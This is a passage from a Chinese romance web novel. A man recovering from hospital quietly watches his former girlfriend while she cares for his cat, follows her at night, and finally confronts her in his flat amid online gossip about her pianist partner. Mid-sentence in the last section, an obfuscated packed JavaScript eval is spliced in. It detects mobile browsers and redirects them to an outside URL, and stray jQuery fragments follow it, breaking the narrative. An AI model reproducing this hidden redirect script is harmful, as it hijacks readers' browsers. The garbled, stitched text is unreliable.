李寻的声音很轻，本不该惊扰熟睡的人。


    但也许是距离太近，也许是潜意识里感知到了什么，梁初灵的呼吸频率变快，眉头又蹙起来，似乎真的在梦中认真思考这个问题的答案。


    嘴唇翕动，却终究没有发出声音。


    李寻保持着那个俯身的姿势，很近地看着她，能感受到她的呼吸。


    有那么一瞬间，他想像很多年前那样，在她睡着时牵住她的手。


    但他没动。


    理智细而韧，勒住所有冲动。


    他不能叫醒她。


    如果此刻她醒来，只会立刻站起来离开。然后，她就再也不会来了。


    李寻不想这样。


    他站起来，后退一步又一步，摸了摸栗子的头，然后又轻轻出门。


    李寻走到一楼附近的健身器材区，在长椅上坐下。


    秋日下午的阳光暖洋洋，几个老人在不远处闲聊，孩子们在空地上追逐笑闹。


    是很平常的午后。


    李寻却觉得自己的心跳很不平常。他靠在椅背上，仰头看着自己家窗户。窗帘没拉，但他什么也看不见。


    他不知道梁初灵什么时候会醒，什么时候会离开。他只是坐在这里等。


    这感觉很奇妙。明明是他自己的家，他却像个外人一样等在楼下，只因为楼上有一个不想见到他的人。


    朋友曾经问过他：既然那么放不下，为什么不回去找她？


    李寻当时没有回答。


    现在他坐在这里，忽然明白了答案的一部分：因为害怕。


    不是害怕被拒绝——虽然那也是原因之一。


    更深的害怕是，他怕一旦重逢、把话说开，那漫长的可能性会就此消失。好的结果当然美妙，但坏的结果意味着彻底结束。


    而等待本身，虽然痛苦，却至少保留了尚未发生的想象空间。


    就像现在，他知道梁初灵就在楼上在他家里，他不知道她醒来会想什么，不知道她会不会发现他回来过，不知道她明天还会不会来。


    这种不知道里，藏着近乎自虐的甜蜜。


    他不准备告诉李炽，自己已经出院。他希望梁初灵再来。


    哪怕只是像今天这样，他躲在楼下，她在楼上，她们不见面，不交谈，但只要知道她在那个空间里待过，呼吸过他呼吸的空气，坐过他坐的位置，摸过她们的猫，就足够了。


    --


    乐团的影片一旦流程确定，拍摄许可到手，进度就会很快。


    何况黄潇的编剧专业能力过硬，写的剧本在拍摄时不需要过多调整。


    在李炽从南京回来之前，所有不需要她亲自出镜的片段，几乎都已拍摄完毕。李寻这些天几乎住在了临时剪辑室。倒不是真需要这么赶，只是他需要让自己忙到没时间胡思乱想。


    只有在深夜收工后，开车回家的路上，悬在心口的期待和不安才会重新浮上来。


    倒从没想过在客厅里装个监控。一是觉得这样实在不够尊重人；二是在李寻印象中，梁初灵对镜头是有抵触的；三是梁初灵如果知道他会在监控里观察她，不知会有多反感。


    距离上次见面过了三天，这三天里梁初灵只来了一天，李寻每晚到家后一瞅就知道今天来没来过。


    这天李寻结束工作已经快十一点，车子驶到楼下，他抬头看向窗户，发现灯还亮着。


    这么晚了，她怎么还没走？


    李寻看了眼手机，没有任何消息，他当然不会有她的新联系方式，她也不会有理由联系他。


    在车里坐了十分钟，灯还亮着。二十分钟，依然亮着。


    秋夜的风有些凉，他降下一扇窗，用以毫无阻碍看着另一扇窗。


    脑子里不受控制冒出各种念头：她是不是睡着了？还是栗子出了什么问题？还是她早就走了，只是忘记了关灯？或者她其实在等他？


    最后这个念头太危险，他立刻掐灭。


    夜更深，小区里只剩下几盏路灯和零星几户亮着的窗。


    秋虫的鸣叫时断时续，衬得夜色更静。


    窗光在夜色中显得温暖，像茫茫海面上的一座灯塔。他知道那光不是为他亮的，但此刻那座灯塔里有他想见的人。


    又过了约半小时，灯熄灭，单元楼的门一会儿后也开了，梁初灵走了出来，脚步有些匆忙，她一边走一边低头看手机，似乎在叫车。


    李寻坐在车里看着她。


    这么晚一个人回家，安不安全？


    梁初灵叫的网约车到了，她拉开车门坐进去。李寻开着车跟上去，的确没办法就这样看着她消失在夜色里。


    直到梁初灵在家门口下车，李寻才缓缓吐出一口气，调头离开。


    李炽又过了三天才回来，回来那天给李寻发了消息：“我今晚先去朋友家问她点手续的事，明天再开始盯乐团演出。你怎么样了？”


    李寻说自己没什么事，已经出院。


    李炽回来，意味着从明天开始，梁初灵不会再去他家喂猫。


    回来的第二天，李炽开始全力筹备乐团在北京音乐厅的演出。这场演出将被收录进影片，作为高潮部分，所以需要申请额外的拍摄许可。


    这方面李寻插不上手，全是李炽在协调。索性，李寻给整个剧组放了两天假，原本打算自己再看看素材，结果实在高估自己，一点都看不下去，向后靠在椅背上，揉了揉发涩的眼角，点开社交平台扫了一眼——


    他不用刻意关注梁初灵，这个名字总会从四面八方闯入视野。


    热搜榜上，一个熟悉的名字引起了他的注意，伊凡后面跟着一位国内一线女歌手的名字。


    他点了进去。是昨晚女歌手在工体的演唱会，伊凡作为特邀嘉宾登场。


    视频片段里，舞台灯光绚丽，万人欢呼，演奏结束时，伊凡主动上前，张开手臂拥抱了女歌手，手臂在她肩头停留，笑容灿烂。女歌手侧脸对他笑着说了句什么，画面定格，被无数娱乐号转发，配上暧昧标题。


    或许是因为伊凡的名字上了热搜，关联话题里，很快出现了梁初灵的名字。


    古典音乐圈外的大众或许对这对钢琴情侣知之不详，但被媒体一引导，信息碎片被拼凑。


    【伊凡梁初灵恋情】


    【梁初灵伊凡多久没同框了】


    几条新词条热度攀升。


    对于男名人，传其绯闻是带有赋魅色彩。


    对于女名人，传其绯闻则是带有造谣意味。


    所以内容开始变得乌烟瘴气。有人挖出梁初灵和伊凡早期同框照，对比现在伊凡与女歌手的亲密互动，猜测两人是否早已情变，各玩各的。


    一些不负责任的营销号含沙射影，给那位女歌手扣上疑似第三章的帽子，也有直接嘲讽梁初灵拴不住男友的。


    真真假假，恶意揣测，为了流量不择手段。


    对于女名人，尤其是美丽成功的女名人，其感情生活永远是公众想象的富矿，无论真相如何，也无论她们本人是否愿意被置于审视之下。


    谣言本身就是目的。


    李寻面无表情看了一会儿，感到一阵烦闷。


    得，他也打道回府吧。


    --


    李炽忙得头痛，压根没时间回家，更顾不上李寻说的‘已经出院’这背后代表的一二三四，一直到忙到下午，翻包找文件时，看到自己在南京给梁初灵买的礼物，一拍脑门儿，这才急得给梁初灵打了个电话。


    梁初灵接起电话：“李炽老师。”


    “初灵！”李炽带着笑意，“我回来了！昨天太忙忘了跟你说，不好意思啊。李寻也说他出院了，你今天要是还没去家里的话就别去了，要是已经去了的话就多注意……他应该还在忙剪辑呢，你俩没碰到吧？”


    “没事的。”梁初灵说，语气非常平静，却没有正面回答问题。


    李炽有点纳闷，这小孩儿今天怎么这么沉静，之前说起李寻那不还扰扰嚷嚷的吗？但她现在也品不出几分细腻，事情一件接一件的来，梁初灵说没事那就没事吧！


    “我给你带了礼物，下次拿给你。”李炽说，“这几天辛苦你了。”


    “好呀，下次拿。不辛苦，栗子挺乖的。”


    “哎，你这孩子今天怎么这么乖？”李炽在电话那头笑，她真是忍不住。


    梁初灵没接这话，只是说：“老师你刚回来，要多休息。”


    “行，那先这样。改天一起吃饭啊！”


    “好，李炽老师再见。”


    --


    梁初灵昨天来喂猫时，发现栗子蔫蔫的，带去宠物医院看了医生，说是肠胃炎，开了药，一天喂三次。


    中午那次在医院喂了，到了晚上这任务就全系梁初灵一人，她用猫条骗药，栗子舔了两口就察觉到不对劲，扭身就跑，灵活地窜出了客厅。


    梁初灵追过去，栗子钻进了虚掩着门的李寻的房间。梁初灵不是随便进别人房间的人，何况这个人还不是别人，只能僵在门口。


    妈女士打来电话问她几点到家，梁初灵说马上马上，眼睛盯着门里的猫，心急如焚。


    药还没喂进去呢！


    犹豫了再犹豫，“对不起对不起对不起！”梁初灵对着空荡荡的门口，喊了三声，像自我许可的咒语，然后万分抱歉地踮着脚走了进去。


    梁初灵知道李寻不会在家里装监控。即使装了，如果他通过监控看到她，也不会继续这样观察下去，会立刻关掉、或者至少移开视线。


    不是出于对她的特殊，而是因为李寻就是这样一个看见而不侵犯的人。


    李寻永远有对她人界限的尊重。


    对她，他只会去理解她，但不会去解剖她以满足自己的好奇或掌控欲。


    正是这种特质，给过梁初灵难以言喻的安全感。


    在他身边，他不会拿着放大镜审视她的瑕疵，也不会将这些变成伤害她的武器。


    这遥远的信任，成了她踏入这个房间的勇气。


    她知道即使他事后知晓，也不会问她“你为什么进我房间”，只会问“栗子还好吗”。


    李寻的房间依旧整洁，不过梁初灵没心思多看，只追着栗子。栗子钻到了书桌底下，似乎在咬什么东西。


    “栗子！”她蹲下身把它抱出来，顺便从它嘴里抢救下一张拍立得照片。


    画面里是柯蒂斯的秋天，金红的树叶作为虚化的背景，梁初灵正在奔跑，头发飞扬，构图很好，半边是树，半边是她。


    照片已经有点褪色，但梁初灵的心像新的一样新鲜而剧烈地跳动。她无意识地把照片塞进自己兜里。


    栗子又从她怀里挣脱，跳上书桌，不满地叫了一声，梁初灵跟过去，想把它抱下来。


    目光扫过桌面，还散落着两三张同样的拍立得，都是她。


    不同角度，不同场景，不同时期，但出自同一人之手。


    旁边还有部旧手机，是李寻五年前的手机——梁初灵当然认得，手机背面还有梁初灵当初给他贴的一张小猫贴纸。


    屏幕因为她触碰而亮起，梁初灵没打开，但不用打开，锁屏是她照片……


    梁初灵迅速把手机扣回桌面。


    她知道李寻不会窥私，但她却主动拿起他的手机，看到了他的锁屏，这行为若放在别人身上，或许会被定义为双标，但梁初灵心里没有升起任何自我谴责的念头。


    因为对方是李寻。


    面对李寻，她天然拥有某种特权，某种因为全然信任而衍生出的肆无忌惮。


    她信任他不会伤害她，信任他即使被她侵犯了隐私，也不会用同样的方式来报复她。


    这安全感根深蒂固，以至于她可以遵循本能的好奇，去触碰他隐藏起来的世界，而不用担心这会引发一场战争。


    这是一种不对等的安全感，或许不公平，但她就是笃信李寻，胜过笃信真理。


    而离开李寻后，她再也不曾感受过这种堪称恐怖的安全感。


    --


    李寻推开门时，他以为会面对空荡荡的屋子，毕竟李炽已经回来，梁初灵没有理由再来。


    所以万万没想到，客厅的电视开着，正在播放一部两个人曾经看过的电影，《山河故人》，李寻知道梁初灵为什么会


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870161|189655||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看这部影片，因为抽屉里的碟片只有这部和黑泽明的《梦》，梁初灵不爱看黑泽明。


    李寻前年回国参加电影节，在平遥的城墙上走，耳机里正好放到《珍重》：“它方天气渐凉，前途或有白雪飞……纵在两地一生也等你。”


    那是初夏，但那天晚上却下了一场雪。好寂寞，下在夏天里的一场雪。


    《山河故人》里，梁子对沈涛说：“再见。”


    李寻对着这场寂寞说：”再见。“


    晋生去买了那张CD给她，于是电视里开始放歌，“盼望世事总可有转机…纵在两地一生也等你。”


    梁初灵蜷在沙发上睡着，栗子不知道跑去了哪里，李寻站在门口，等了一分钟。


    她睡得很沉。睡着的样子和前几天没什么不同，但脸色有点白。李寻注意到茶几上的药盒，是宠物用的肠胃药，已经拆了封。


    栗子不知道从哪里闪现到门口，李寻伸手摸了摸栗子的头，猫蹭了蹭他的手心，发出呼噜声。看起来精神还行。


    李寻在沙发另一端坐下，没有叫醒她。电影还在继续，那首《珍重》已经唱完，客厅陷入一段对白的寂静。


    前几天那些‘凭什么’的问，现在都有了解答。


    因为我爱你。


    我爱你。所以，你拥有进入我世界的钥匙。


    我爱你。所以，你拥有了伤害我的权力。


    我爱你的言下之意，从来不是请你也爱我，而是‘现在，你可以肆意伤害我了’。


    梁初灵下午两点才醒，醒来时就看到李寻，不敢置信，误以为是梦。还坐起来凑近，让李寻的脸近在咫尺。


    薄而窄的双眼皮，像水面上的涟漪，等一会儿就会散开。


    在散开之前，梁初灵看到他瞳孔里自己的倒影，大脑空白了几秒。


    然后突然向后仰，后脑勺咚一声撞在沙发背上。


    梁初灵吃痛地捂住头，彻底醒了。


    李寻克制住了替她揉揉头的动作，反而坐直：“做噩梦了？”


    梁初灵涨红了脸，一半是疼的，一半是窘的。


    “你怎么在这儿？”梁初灵先发制人。


    “这是我家。”李寻说，语气平静。


    梁初灵愣了一下，低头看了看自己，又抬头看他，已经完全反应过来。有些尴尬，还有些恼火。


    就是在这时接到李炽的电话。


    “李炽老师说过你要住两周院。”她的声音硬邦邦的。


    “提前出院了。”


    “哦。”


    沉默。


    栗子走过来，蹭李寻的腿。李寻弯腰摸摸它的头，猫发出呼噜声。


    “猫喂过了。”梁初灵站起来，动作有点急，“我走了。”


    因为保持一个姿势太久，腿麻，刚起身就踉跄了一下，李寻伸手扶住了她的胳膊。


    他的手很暖，隔着衣袖的温度传递过来，梁初灵立刻抽回手臂，继续往门口走。


    “等等。”李寻说。


    梁初灵停住，没回头：“还有事？”


    “栗子现在怎么样？”李寻指了指茶几上的药。


    “好多了。”梁初灵说着，就蹲下来摸了摸栗子，“昨天有点肠胃炎，我给它喂了药，今天就活蹦乱跳了。”


    李寻犹豫了一会儿，还是问了出来，“那你呢？你怎么样？”


    梁初灵不解：“我？我很好啊。”


    李寻看着她确实不像强撑的样子，又问：“你看到热搜了吗？”


    梁初灵疑惑地掏出手机，很快也看到了那些关于伊凡和女歌手，以及连带牵扯出她的讨论。浏览了几条，表情从疑惑到恍然，最后归于平静。


    “就这个啊。”她语气无所谓，“假的，别信。”


    她浑不在意的态度，让李寻没来由地有单恼火。他扯了扯嘴角，发出带着嘲讽的笑：“你倒是很相信你的男友啊。”


    这话听起来刺耳，但梁初灵一开始没察觉，因为她才反应过来，对哦！伊凡是自己的男友！


    不知是出于对这虚假关系的厌倦，还是因为李寻语气的尖锐让她不适，梁初灵脱口而出：“他不是我男友。”


    说完她自己都有点想吞口水，这解释来得没必要。


    “你们分手了？”李寻也脱口就问。


    李寻没料到她会直接否认，眼底掠过诧异，随即有点躁动，他站了起来，朝梁初灵走近。


    仅仅走了三步，却让梁初灵后退了一步，她的背抵住门口的玄关柜。


    梁初灵控制不住自己的紧张，她直觉再这样下去会有不受控的事情发生，紧张到感觉空气变得稀薄。


    李寻停在她面前，一步之遥，看着她有点发抖的身体，瞬间就冷静下来。开始责怪自己，刚才是语气太凶了吗？怎么把人吓成这样？还是说梁初灵其实还是伤心于伊凡的新闻？


    他不愿意看到梁初灵如此紧张和焦虑，不由得想要让她先放松。


    到嘴边的话就这样改变，变成：“你吃饭了吗？”


    梁初灵愣了一下：“……没。”


    “我也没吃。”李寻转身往厨房走，“家里应该还有食材。”


    “我不吃！”


    梁初灵仰头看他，她个子不矮，但还是只到李寻下巴，仰着脸，眼睛里有很多情绪——生气、窘迫、不安。


    “我回家吃！我不在这吃！”


    “为什么？”李寻问。


    什么为什么？还敢问为什么？梁初灵瞠目结舌。李寻你怎么变成这样了？


    “你是不是觉得这样挺正常的？”


    “怎样？”


    “让我留在这儿吃饭。在你家里。我们像什么都没发生过一样，坐在一起吃饭？”


    梁初灵实在生气。


    李寻有女朋友了。嘴上说着珍视、怜惜，那现在这算什么？


    李寻不可以这样，不可以变成那种跟前尘往事纠缠不清，对现任不坦诚的人。


    梁初灵讨厌这种人，她在国外见过的这种人够多了，李寻不能也变成这样。


    “我不可能跟你在一块儿吃饭！”梁初灵说完就走。